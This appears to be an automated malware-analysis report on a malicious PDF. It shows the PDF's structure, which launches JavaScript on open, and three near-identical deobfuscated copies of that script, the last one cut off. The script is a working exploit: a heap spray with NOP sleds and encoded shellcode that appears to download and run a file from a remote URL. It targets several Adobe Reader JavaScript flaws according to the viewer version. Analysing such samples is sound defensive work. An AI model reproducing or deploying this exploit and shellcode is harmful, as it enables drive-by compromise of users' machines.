>= 8 && qZbpL6A4 < 8.102\) || qZbpL6A4 < 7.1\){cI0ZIhIXc\(0\);var h9nwsWTHsf = unescape\(\\"%u0c0c%u0c0c\\"\);while\(h9nwsWTHsf.length < 44952\) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\\"collabStore\\"] = auOUl5kqAQ[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : h9nwsWTHsf}\);}if\(\(qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104\) || \(qZbpL6A4 >= 9 && qZbpL6A4 < 9.1\) || qZbpL6A4 <= 7.101\){try{if\(app.doc.Collab.getIcon\){cI0ZIhIXc\(2\);var tsGQ5lRXX = unescape\(\\"%09\\"\);while\(tsGQ5lRXX.length < 0x4000\){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \\"N.\\" + tsGQ5lRXX;var zkJcGjjF0 = app;zkJcGjjF0[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(tsGQ5lRXX\);vFp16ohgjX = 1;}else{vFp16ohgjX = 1;}}catch\(e\){vFp16ohgjX = 1;}if\(vFp16ohgjX == 1\){if\(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1\){cI0ZIhIXc\(1\);var eM1GFaEh = \\"12999999999999999999\\";for\(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++\){eM1GFaEh += \\"8\\";}var dBuIuB2lL = util;dBuIuB2lL[\\"printf\\"]\(\\"%45000f\\", eM1GFaEh\);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut\(\\"app.tQgzaH2xWs\(\)\\", 10\);';this.aP8WLvtql=30574;function kdfijC2vl5\(b7dSkmfjGf,nXCfF4je\){return false;}function eouHVJaqU\(vjeGnJYx\){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace\(/[]/g, ''\);iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array\('gphvRem5E1','i1US5n4s','jZrMLXAa0'\);var brkQZv4D = 'e'+'v'+'a'+'l';app[brkQZv4D]\(diiH1sBFC\);var lbLFdNd7r=new Array\('pVfnTVos','dlhO4OvBI','fSZsSgA5H'\);function gEqlgxELr\(\){return false;}function kLf9pm3V2r\(\){return false;})
>>
endobj
33 0 obj
<<
/Title (��thoseMiddleForm)
/Author (��ametGalleyRandom)
/Subject (��goodOfFrom)
/Keywords (��tendNowTheir, thereGoingRepeat, needTextTheir)
/Creator (��sureIn)
/Producer (��18b8ea83d814103c4a8f379165ce9a62)
/CreationDate (D:20091013200308+04'00')
/ModDate (D:20091013200308+04'00')
>>
endobj
34 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 31 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [25 0 R 26 0 R] /D <</ON [25 0 R] /OFF [26 0 R] /AS [<</Event /Print /OCGs [25 0 R 26 0 R] /Category [/Print]>> <</Event /View /OCGs [25 0 R 26 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 35
0000000000 65535 f
0000017968 00000 n
0000021245 00000 n
0000000009 00000 n
0000000117 00000 n
0000001652 00000 n
0000001760 00000 n
0000003239 00000 n
0000003347 00000 n
0000004887 00000 n
0000004996 00000 n
0000006533 00000 n
0000006643 00000 n
0000008178 00000 n
0000008288 00000 n
0000009793 00000 n
0000009903 00000 n
0000011470 00000 n
0000011580 00000 n
0000013135 00000 n
0000013245 00000 n
0000014782 00000 n
0000014892 00000 n
0000016465 00000 n
0000016575 00000 n
0000018094 00000 n
0000018210 00000 n
0000018324 00000 n
0000018431 00000 n
0000018540 00000 n
0000018648 00000 n
0000021440 00000 n
0000021492 00000 n
0000034112 00000 n
0000034540 00000 n
trailer
<<
/Size 35
/Root 34 0 R
/Info 33 0 R
>>
startxref
34942
%%EOF
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery null-collapse from JavaScript object 32 at offset 0x53F4 | 5946 bytes |
SHA-256: cf607d5f60a16d6d27a36d0f1fd3339cb62306295fdaa6606fbde69461845fc2 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 38 of 71 identifiers look randomly generated (e.g. 'h9nwsWTHsf') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��var dkBf5m8ez=new Array('sI0VlNTVRS','ba5skywBL');var ftMRyijdtO=new Array();ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array();var pDGMEz9Ab;function yQz94YUyH(t8qImRLy, uO6hGkBKd){while(t8qImRLy.length * 2 < uO6hGkBKd){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring(0, uO6hGkBKd / 2);return t8qImRLy;}function cI0ZIhIXc(z68pN8bAl){if(z68pN8bAl == 0){var eIN5pLACV = 0x0c0c0c0c;}else if(z68pN8bAl == 1){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array(\"%u5350%u52\",\"51%u5756\",\"%u9c5\",\"5%u00\",\"e8%u000\",\"0%u5d00%u\",\"ed83%u\",\"310d%u\",\"64c0%u400\",\"3%u7830%\",\"u8b0c%u\",\"0c40%u708\",\"b%uad\",\"1c%u408b\",\"%ueb08%\",\"u8b09%u344\",\"0%u408\",\"d%u8b7\",\"c%u3c\",\"40%u5756%u\",\"5ebe%u0\",\"001%u01\",\"00%ubf\",\"ee%u014\",\"e%u0000\",\"%uef01%\",\"ud6e8\",\"%u0001%\",\"u5f00%\",\"u895e\",\"%u81ea%u5e\",\"c2%u0001%\",\"u5200%u80\",\"68%u0000%\",\"uff00\",\"%u4e95\",\"%u0001\",\"%u8900%\",\"u81ea%u5\",\"ec2%u000\",\"1%u310\",\"0%u01\",\"f6%u8ac2%u\",\"359c%u0263\",\"%u000\",\"0%ufb80%u7\",\"400%u8806%\",\"u321c%ueb\",\"46%uc6ee\",\"%u320\",\"4%u89\",\"00%u8\",\"1ea%u45c2\",\"%u0002%u\",\"5200%u95\",\"ff%u0152%\",\"u0000%\",\"uea89%uc2\",\"81%u0250\",\"%u0000%u5\",\"052%u95ff\",\"%u015\",\"6%u000\",\"0%u006a%u\",\"006a%ue\",\"a89%uc2\",\"81%u0\",\"15e%u000\",\"0%u8952%u8\",\"1ea%u7\",\"8c2%u0002%\",\"u5200\",\"%u006a%u\",\"d0ff%\",\"u056a%\",\"uea89%u\",\"c281%u015e\",\"%u0000%uf\",\"f52%u\",\"5a95%u0001\",\"%u8900%u\",\"81ea%u5\",\"ec2%u\",\"0001%u520\",\"0%u8068%u\",\"0000%u\",\"ff00%u4e9\",\"5%u0001%\",\"u8900\",\"%u81ea%\",\"u5ec2%u000\",\"1%u3100%\",\"u01f6%u8ac\",\"2%u359c%\",\"u026e%u0\",\"000%u\",\"fb80%u7400\",\"%u8806%\",\"u321c%ueb4\",\"6%uc6ee\",\"%u3204%\",\"u8900%u8\",\"1ea%u\",\"45c2%\",\"u0002%u520\",\"0%u95ff\",\"%u0152%u\",\"0000%u\",\"ea89%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95\",\"ff%u0156\",\"%u0000\",\"%u006a%u0\",\"06a%uea89\",\"%uc281%u0\",\"15e%u0\",\"000%u8952%\",\"u81ea%ua6\",\"c2%u0002%u\",\"5200%u0\",\"06a%ud\",\"0ff%u056\",\"a%uea8\",\"9%uc281\",\"%u015e%u\",\"0000%uff52\",\"%u5a95%\",\"u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u\",\"5b59%uc35\",\"8%u000\",\"0%u00\",\"00%u000\",\"0%u00\",\"00%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u6\",\"547%u54\",\"74%u6d6\",\"5%u5070\",\"%u7461%\",\"u4168%\",\"u4c00%u\",\"616f%\",\"u4c64%u6\",\"269%u617\",\"2%u7972%u0\",\"041%u6\",\"547%u50\",\"74%u6f72%\",\"u4163%\",\"u6464\",\"%u6572\",\"%u7373%u\",\"5700%u6e\",\"69%u7\",\"845%u6365\",\"%ubb00%u\",\"f289%\",\"uf789%\",\"uc030\",\"%u75ae\",\"%u29f\",\"d%u89f\",\"7%u31\",\"f9%ube\",\"c0%u003c%\",\"u0000%\",\"ub503%u021\",\"b%u000\",\"0%uad6\",\"6%u8503%u\",\"021b%u\",\"0000%u708\",\"b%u8378%u1\",\"cc6%ub503%\",\"u021b%\",\"u0000%\",\"ubd8d%u02\",\"1f%u00\",\"00%u03ad%u\",\"1b85%u00\",\"02%uab\",\"00%u03ad%u\",\"1b85%u\",\"0002%u\",\"5000%ua\",\"dab%u850\",\"3%u021b%u0\",\"000%u5ea\",\"b%udb31%\",\"u56ad\",\"%u8503\",\"%u021b%u0\",\"000%uc689%\",\"ud789%\",\"ufc51%ua6f\",\"3%u7459%u\",\"5e04%ueb4\",\"3%u5ee\",\"9%ud19\",\"3%u03e0%\",\"u2785\",\"%u0002%\",\"u3100%u96\",\"f6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u0002%\",\"u8900%u\",\"adc6%u8\",\"503%u021\",\"b%u000\",\"0%uebc3%u\",\"0010%\",\"u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0\",\"000%u00\",\"00%u0000%u\",\"8900%\",\"u1b85%u000\",\"2%u5600\",\"%ue857\",\"%uff58%u\",\"ffff%u5e\",\"5f%u01ab%\",\"u80ce%ubb\",\"3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4f\",\"4d%u2e\",\"4e%u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u77\",\"6f%u6c6e\",\"%u616f%\",\"u5464%u\",\"466f%u6c69\",\"%u416\",\"5%u750\",\"0%u6470\",\"%u7461\",\"%u2e65%u7\",\"865%u0065\",\"%u7263%u7\",\"361%u2e6\",\"8%u6870%u\",\"0070%u74\",\"68%u7074%u\",\"2f3a%\",\"u732f\",\"%u617\",\"4%u6c\",\"6c%u6176%\",\"u7372\",\"%u382d%u\",\"632e%u2\",\"f6e%u7473\",\"%u2f3\",\"8%u7075\",\"%u6164%u\",\"6574%u\",\"702e%u\",\"7068%u693f\",\"%u3d64%u\",\"2633%u\",\"6572%u3d7\",\"4%u6b6f\",\"%u9000\");qY8to5fN9 = unescape(qY8to5fN9.join(\"\"));var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - (yMGJO436pz + 0x38);var t8qImRLy = unescape(\"%u9090%u9090\");t8qImRLy = yQz94YUyH(t8qImRLy, uO6hGkBKd);var wSOl4h7B = (eIN5pLACV - 0x400000) / mjIyzX45B;for(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function kMa7ScnUN(){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString();app.clearTimeOut(pDGMEz9Ab);if((qZbpL6A4 >= 8 && qZbpL6A4 < 8.102) || qZbpL6A4 < 7.1){cI0ZIhIXc(0);var h9nwsWTHsf = unescape(\"%u0c0c%u0c0c\");while(h9nwsWTHsf.length < 44952) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\"collabStore\"] = auOUl5kqAQ[\"collectEmailInfo\"]({subj : \"\", msg : h9nwsWTHsf});}if((qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104) || (qZbpL6A4 >= 9 && qZbpL6A4 < 9.1) || qZbpL6A4 <= 7.101){try{if(app.doc.Collab.getIcon){cI0ZIhIXc(2);var tsGQ5lRXX = unescape(\"%09\");while(tsGQ5lRXX.length < 0x4000){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \"N.\" + tsGQ5lRXX;var zkJcGjjF0 = app;zkJcGjjF0[\"doc\"][\"Collab\"][\"getIcon\"](tsGQ5lRXX);vFp16ohgjX = 1;}else{vFp16ohgjX = 1;}}catch(e){vFp16ohgjX = 1;}if(vFp16ohgjX == 1){if(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1){cI0ZIhIXc(1);var eM1GFaEh = \"12999999999999999999\";for(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++){eM1GFaEh += \"8\";}var dBuIuB2lL = util;dBuIuB2lL[\"printf\"](\"%45000f\", eM1GFaEh);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut(\"app.tQgzaH2xWs()\", 10);';this.aP8WLvtql=30574;function kdfijC2vl5(b7dSkmfjGf,nXCfF4je){return false;}function eouHVJaqU(vjeGnJYx){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace(/[]/g, '');iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array('gphvRem5E1','i1US5n4s','jZrMLXAa0');var brkQZv4D = 'e'+'v'+'a'+'l';app[brkQZv4D](diiH1sBFC);var lbLFdNd7r=new Array('pVfnTVos','dlhO4OvBI','fSZsSgA5H');function gEqlgxELr(){return false;}function kLf9pm3V2r(){return false;}
|
|||
generic_stage_recovery_002.js |
deobfuscated-js | generic stage recovery split-literal-normalize from decompressed stream at 0x53F4 at offset 0x53F4 | 5935 bytes |
SHA-256: 42db8d857b1c9bae56f897eb075b476085596cf1a57df8ccff9bfe4318bb02a8 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 38 of 71 identifiers look randomly generated (e.g. 'h9nwsWTHsf') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var dkBf5m8ez=new Array('sI0VlNTVRS','ba5skywBL');var ftMRyijdtO=new Array();ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array();var pDGMEz9Ab;function yQz94YUyH(t8qImRLy, uO6hGkBKd){while(t8qImRLy.length * 2 < uO6hGkBKd){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring(0, uO6hGkBKd / 2);return t8qImRLy;}function cI0ZIhIXc(z68pN8bAl){if(z68pN8bAl == 0){var eIN5pLACV = 0x0c0c0c0c;}else if(z68pN8bAl == 1){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array(\"%u5350%u52\",\"51%u5756\",\"%u9c5\",\"5%u00\",\"e8%u000\",\"0%u5d00%u\",\"ed83%u\",\"310d%u\",\"64c0%u400\",\"3%u7830%\",\"u8b0c%u\",\"0c40%u708\",\"b%uad\",\"1c%u408b\",\"%ueb08%\",\"u8b09%u344\",\"0%u408\",\"d%u8b7\",\"c%u3c\",\"40%u5756%u\",\"5ebe%u0\",\"001%u01\",\"00%ubf\",\"ee%u014\",\"e%u0000\",\"%uef01%\",\"ud6e8\",\"%u0001%\",\"u5f00%\",\"u895e\",\"%u81ea%u5e\",\"c2%u0001%\",\"u5200%u80\",\"68%u0000%\",\"uff00\",\"%u4e95\",\"%u0001\",\"%u8900%\",\"u81ea%u5\",\"ec2%u000\",\"1%u310\",\"0%u01\",\"f6%u8ac2%u\",\"359c%u0263\",\"%u000\",\"0%ufb80%u7\",\"400%u8806%\",\"u321c%ueb\",\"46%uc6ee\",\"%u320\",\"4%u89\",\"00%u8\",\"1ea%u45c2\",\"%u0002%u\",\"5200%u95\",\"ff%u0152%\",\"u0000%\",\"uea89%uc2\",\"81%u0250\",\"%u0000%u5\",\"052%u95ff\",\"%u015\",\"6%u000\",\"0%u006a%u\",\"006a%ue\",\"a89%uc2\",\"81%u0\",\"15e%u000\",\"0%u8952%u8\",\"1ea%u7\",\"8c2%u0002%\",\"u5200\",\"%u006a%u\",\"d0ff%\",\"u056a%\",\"uea89%u\",\"c281%u015e\",\"%u0000%uf\",\"f52%u\",\"5a95%u0001\",\"%u8900%u\",\"81ea%u5\",\"ec2%u\",\"0001%u520\",\"0%u8068%u\",\"0000%u\",\"ff00%u4e9\",\"5%u0001%\",\"u8900\",\"%u81ea%\",\"u5ec2%u000\",\"1%u3100%\",\"u01f6%u8ac\",\"2%u359c%\",\"u026e%u0\",\"000%u\",\"fb80%u7400\",\"%u8806%\",\"u321c%ueb4\",\"6%uc6ee\",\"%u3204%\",\"u8900%u8\",\"1ea%u\",\"45c2%\",\"u0002%u520\",\"0%u95ff\",\"%u0152%u\",\"0000%u\",\"ea89%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95\",\"ff%u0156\",\"%u0000\",\"%u006a%u0\",\"06a%uea89\",\"%uc281%u0\",\"15e%u0\",\"000%u8952%\",\"u81ea%ua6\",\"c2%u0002%u\",\"5200%u0\",\"06a%ud\",\"0ff%u056\",\"a%uea8\",\"9%uc281\",\"%u015e%u\",\"0000%uff52\",\"%u5a95%\",\"u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u\",\"5b59%uc35\",\"8%u000\",\"0%u00\",\"00%u000\",\"0%u00\",\"00%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u6\",\"547%u54\",\"74%u6d6\",\"5%u5070\",\"%u7461%\",\"u4168%\",\"u4c00%u\",\"616f%\",\"u4c64%u6\",\"269%u617\",\"2%u7972%u0\",\"041%u6\",\"547%u50\",\"74%u6f72%\",\"u4163%\",\"u6464\",\"%u6572\",\"%u7373%u\",\"5700%u6e\",\"69%u7\",\"845%u6365\",\"%ubb00%u\",\"f289%\",\"uf789%\",\"uc030\",\"%u75ae\",\"%u29f\",\"d%u89f\",\"7%u31\",\"f9%ube\",\"c0%u003c%\",\"u0000%\",\"ub503%u021\",\"b%u000\",\"0%uad6\",\"6%u8503%u\",\"021b%u\",\"0000%u708\",\"b%u8378%u1\",\"cc6%ub503%\",\"u021b%\",\"u0000%\",\"ubd8d%u02\",\"1f%u00\",\"00%u03ad%u\",\"1b85%u00\",\"02%uab\",\"00%u03ad%u\",\"1b85%u\",\"0002%u\",\"5000%ua\",\"dab%u850\",\"3%u021b%u0\",\"000%u5ea\",\"b%udb31%\",\"u56ad\",\"%u8503\",\"%u021b%u0\",\"000%uc689%\",\"ud789%\",\"ufc51%ua6f\",\"3%u7459%u\",\"5e04%ueb4\",\"3%u5ee\",\"9%ud19\",\"3%u03e0%\",\"u2785\",\"%u0002%\",\"u3100%u96\",\"f6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u0002%\",\"u8900%u\",\"adc6%u8\",\"503%u021\",\"b%u000\",\"0%uebc3%u\",\"0010%\",\"u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0\",\"000%u00\",\"00%u0000%u\",\"8900%\",\"u1b85%u000\",\"2%u5600\",\"%ue857\",\"%uff58%u\",\"ffff%u5e\",\"5f%u01ab%\",\"u80ce%ubb\",\"3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4f\",\"4d%u2e\",\"4e%u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u77\",\"6f%u6c6e\",\"%u616f%\",\"u5464%u\",\"466f%u6c69\",\"%u416\",\"5%u750\",\"0%u6470\",\"%u7461\",\"%u2e65%u7\",\"865%u0065\",\"%u7263%u7\",\"361%u2e6\",\"8%u6870%u\",\"0070%u74\",\"68%u7074%u\",\"2f3a%\",\"u732f\",\"%u617\",\"4%u6c\",\"6c%u6176%\",\"u7372\",\"%u382d%u\",\"632e%u2\",\"f6e%u7473\",\"%u2f3\",\"8%u7075\",\"%u6164%u\",\"6574%u\",\"702e%u\",\"7068%u693f\",\"%u3d64%u\",\"2633%u\",\"6572%u3d7\",\"4%u6b6f\",\"%u9000\");qY8to5fN9 = unescape(qY8to5fN9.join(\"\"));var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - (yMGJO436pz + 0x38);var t8qImRLy = unescape(\"%u9090%u9090\");t8qImRLy = yQz94YUyH(t8qImRLy, uO6hGkBKd);var wSOl4h7B = (eIN5pLACV - 0x400000) / mjIyzX45B;for(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function kMa7ScnUN(){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString();app.clearTimeOut(pDGMEz9Ab);if((qZbpL6A4 >= 8 && qZbpL6A4 < 8.102) || qZbpL6A4 < 7.1){cI0ZIhIXc(0);var h9nwsWTHsf = unescape(\"%u0c0c%u0c0c\");while(h9nwsWTHsf.length < 44952) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\"collabStore\"] = auOUl5kqAQ[\"collectEmailInfo\"]({subj : \"\", msg : h9nwsWTHsf});}if((qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104) || (qZbpL6A4 >= 9 && qZbpL6A4 < 9.1) || qZbpL6A4 <= 7.101){try{if(app.doc.Collab.getIcon){cI0ZIhIXc(2);var tsGQ5lRXX = unescape(\"%09\");while(tsGQ5lRXX.length < 0x4000){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \"N.\" + tsGQ5lRXX;var zkJcGjjF0 = app;zkJcGjjF0[\"doc\"][\"Collab\"][\"getIcon\"](tsGQ5lRXX);vFp16ohgjX = 1;}else{vFp16ohgjX = 1;}}catch(e){vFp16ohgjX = 1;}if(vFp16ohgjX == 1){if(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1){cI0ZIhIXc(1);var eM1GFaEh = \"12999999999999999999\";for(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++){eM1GFaEh += \"8\";}var dBuIuB2lL = util;dBuIuB2lL[\"printf\"](\"%45000f\", eM1GFaEh);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut(\"app.tQgzaH2xWs()\", 10);';this.aP8WLvtql=30574;function kdfijC2vl5(b7dSkmfjGf,nXCfF4je){return false;}function eouHVJaqU(vjeGnJYx){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace(/[]/g, '');iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array('gphvRem5E1','i1US5n4s','jZrMLXAa0');var brkQZv4D = 'eval';app[brkQZv4D](diiH1sBFC);var lbLFdNd7r=new Array('pVfnTVos','dlhO4OvBI','fSZsSgA5H');function gEqlgxELr(){return false;}function kLf9pm3V2r(){return false;}
|
|||
generic_stage_recovery_003.js |
deobfuscated-js | generic stage recovery percent-decode from decompressed stream at 0x53F4 at offset 0x53F4 | 5940 bytes |
SHA-256: ec2729442dfb5ca69aece8aec60ecb0bc3092ed5901b3736f6d1d885c37543cc |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 38 of 71 identifiers look randomly generated (e.g. 'h9nwsWTHsf') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var dkBf5m8ez=new Array('sI0VlNTVRS','ba5skywBL');var ftMRyijdtO=new Array();ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array();var pDGMEz9Ab;function yQz94YUyH(t8qImRLy, uO6hGkBKd){while(t8qImRLy.length * 2 < uO6hGkBKd){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring(0, uO6hGkBKd / 2);return t8qImRLy;}function cI0ZIhIXc(z68pN8bAl){if(z68pN8bAl == 0){var eIN5pLACV = 0x0c0c0c0c;}else if(z68pN8bAl == 1){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array(\"%u5350%u52\",\"51%u5756\",\"%u9c5\",\"5%u00\",\"e8%u000\",\"0%u5d00%u\",\"ed83%u\",\"310d%u\",\"64c0%u400\",\"3%u7830%\",\"u8b0c%u\",\"0c40%u708\",\"b%uad\",\"1c%u408b\",\"%ueb08%\",\"u8b09%u344\",\"0%u408\",\"d%u8b7\",\"c%u3c\",\"40%u5756%u\",\"5ebe%u0\",\"001%u01\",\"00%ubf\",\"ee%u014\",\"e%u0000\",\"%uef01%\",\"ud6e8\",\"%u0001%\",\"u5f00%\",\"u895e\",\"%u81ea%u5e\",\"c2%u0001%\",\"u5200%u80\",\"68%u0000%\",\"uff00\",\"%u4e95\",\"%u0001\",\"%u8900%\",\"u81ea%u5\",\"ec2%u000\",\"1%u310\",\"0%u01\",\"f6%u8ac2%u\",\"359c%u0263\",\"%u000\",\"0%ufb80%u7\",\"400%u8806%\",\"u321c%ueb\",\"46%uc6ee\",\"%u320\",\"4%u89\",\"00%u8\",\"1ea%u45c2\",\"%u0002%u\",\"5200%u95\",\"ff%u0152%\",\"u0000%\",\"uea89%uc2\",\"81%u0250\",\"%u0000%u5\",\"052%u95ff\",\"%u015\",\"6%u000\",\"0%u006a%u\",\"006a%ue\",\"a89%uc2\",\"81%u0\",\"15e%u000\",\"0%u8952%u8\",\"1ea%u7\",\"8c2%u0002%\",\"u5200\",\"%u006a%u\",\"d0ff%\",\"u056a%\",\"uea89%u\",\"c281%u015e\",\"%u0000%uf\",\"f52%u\",\"5a95%u0001\",\"%u8900%u\",\"81ea%u5\",\"ec2%u\",\"0001%u520\",\"0%u8068%u\",\"0000%u\",\"ff00%u4e9\",\"5%u0001%\",\"u8900\",\"%u81ea%\",\"u5ec2%u000\",\"1%u3100%\",\"u01f6%u8ac\",\"2%u359c%\",\"u026e%u0\",\"000%u\",\"fb80%u7400\",\"%u8806%\",\"u321c%ueb4\",\"6%uc6ee\",\"%u3204%\",\"u8900%u8\",\"1ea%u\",\"45c2%\",\"u0002%u520\",\"0%u95ff\",\"%u0152%u\",\"0000%u\",\"ea89%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95\",\"ff%u0156\",\"%u0000\",\"%u006a%u0\",\"06a%uea89\",\"%uc281%u0\",\"15e%u0\",\"000%u8952%\",\"u81ea%ua6\",\"c2%u0002%u\",\"5200%u0\",\"06a%ud\",\"0ff%u056\",\"a%uea8\",\"9%uc281\",\"%u015e%u\",\"0000%uff52\",\"%u5a95%\",\"u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u\",\"5b59%uc35\",\"8%u000\",\"0%u00\",\"00%u000\",\"0%u00\",\"00%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u6\",\"547%u54\",\"74%u6d6\",\"5%u5070\",\"%u7461%\",\"u4168%\",\"u4c00%u\",\"616f%\",\"u4c64%u6\",\"269%u617\",\"2%u7972%u0\",\"041%u6\",\"547%u50\",\"74%u6f72%\",\"u4163%\",\"u6464\",\"%u6572\",\"%u7373%u\",\"5700%u6e\",\"69%u7\",\"845%u6365\",\"%ubb00%u\",\"f289%\",\"uf789%\",\"uc030\",\"%u75ae\",\"%u29f\",\"d%u89f\",\"7%u31\",\"f9%ube\",\"c0%u003c%\",\"u0000%\",\"ub503%u021\",\"b%u000\",\"0%uad6\",\"6%u8503%u\",\"021b%u\",\"0000%u708\",\"b%u8378%u1\",\"cc6%ub503%\",\"u021b%\",\"u0000%\",\"ubd8d%u02\",\"1f%u00\",\"00%u03ad%u\",\"1b85%u00\",\"02%uab\",\"00%u03ad%u\",\"1b85%u\",\"0002%u\",\"5000%ua\",\"dab%u850\",\"3%u021b%u0\",\"000%u5ea\",\"b%udb31%\",\"u56ad\",\"%u8503\",\"%u021b%u0\",\"000%uc689%\",\"ud789%\",\"ufc51%ua6f\",\"3%u7459%u\",\"5e04%ueb4\",\"3%u5ee\",\"9%ud19\",\"3%u03e0%\",\"u2785\",\"%u0002%\",\"u3100%u96\",\"f6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u0002%\",\"u8900%u\",\"adc6%u8\",\"503%u021\",\"b%u000\",\"0%uebc3%u\",\"0010%\",\"u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0\",\"000%u00\",\"00%u0000%u\",\"8900%\",\"u1b85%u000\",\"2%u5600\",\"%ue857\",\"%uff58%u\",\"ffff%u5e\",\"5f%u01ab%\",\"u80ce%ubb\",\"3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4f\",\"4d%u2e\",\"4e%u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u77\",\"6f%u6c6e\",\"%u616f%\",\"u5464%u\",\"466f%u6c69\",\"%u416\",\"5%u750\",\"0%u6470\",\"%u7461\",\"%u2e65%u7\",\"865%u0065\",\"%u7263%u7\",\"361%u2e6\",\"8%u6870%u\",\"0070%u74\",\"68%u7074%u\",\"2f3a%\",\"u732f\",\"%u617\",\"4%u6c\",\"6c%u6176%\",\"u7372\",\"%u382d%u\",\"632e%u2\",\"f6e%u7473\",\"%u2f3\",\"8%u7075\",\"%u6164%u\",\"6574%u\",\"702e%u\",\"7068%u693f\",\"%u3d64%u\",\"2633%u\",\"6572%u3d7\",\"4%u6b6f\",\"%u9000\");qY8to5fN9 = unescape(qY8to5fN9.join(\"\"));var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - (yMGJO436pz + 0x38);var t8qImRLy = unescape(\"%u9090%u9090\");t8qImRLy = yQz94YUyH(t8qImRLy, uO6hGkBKd);var wSOl4h7B = (eIN5pLACV - 0x400000) / mjIyzX45B;for(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function 